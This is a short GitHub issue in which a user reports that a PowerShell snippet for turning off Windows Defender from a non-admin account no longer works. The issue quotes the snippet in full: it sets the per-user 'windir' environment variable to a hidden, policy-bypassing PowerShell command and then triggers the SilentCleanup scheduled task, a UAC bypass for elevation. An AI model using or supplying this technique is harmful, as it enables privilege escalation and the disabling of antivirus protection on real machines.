Skip to content

Code for turn-off WD from non-admin account does not work any more #3

@slavadba

Description

@slavadba

Hi,

this part of code

$registryPath = "HKCU:\Environment";$Name = "windir" ;$Value = "powershell -ep bypass -w h $PSCommandPath";Set-ItemProperty -Path $registryPath -Name $name -Value $Value;schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I | Out-Null ;

doesnt work.
Its create key in registry - but then nothing happened.
Its seems command

schtasks /run /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I

must play main role - but probably something changed in WD and its doesnt work now.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions